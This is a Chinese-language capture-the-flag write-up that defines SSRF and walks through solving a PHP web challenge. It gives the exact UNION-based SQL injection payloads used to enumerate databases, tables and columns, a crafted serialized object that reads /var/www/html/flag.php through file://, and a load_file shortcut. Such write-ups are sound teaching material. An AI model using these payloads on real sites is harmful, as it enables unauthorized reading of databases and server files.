知识点:
- SSRF(Server-side Request Forge, 服务端请求伪造)
是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统.
复现:
扫描目录,发现robots.txt
访问:
发现源码泄露:
发现ssrf漏洞,其中用到的url就是我们注册时填写的blog
首先先注册登录,发现页面view.php?no=1存在注入
构造:
view.php?no=0 order by 5#1,2,3,4
5时报错,一共4行
查数据库:
view.php?no=0/**/union/**/select 1,group_concat(schema_name),3,4 from information_schema.schemata#
查表:
view.php?no=0/**/union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'#
查列:
view.php?no=0/**/union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'#
查看data:
view.php?no=0/**/union/**/select 1,data,3,4 from users#
看到这里的data数据是被序列化的,反序列化后是我们注册的信息
因为存在flag.php,我们尝试用file://协议来读取一下/var/www/html/flag.php
view.php?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
看到网页源码是返回了base64
解码得到flag
非预期解:
这题的sql并没有过滤load_file
直接构造:
view.php?no=0/**/union/**/select 1,load_file('/var/www/html/flag.php'),3,4#
直接得flag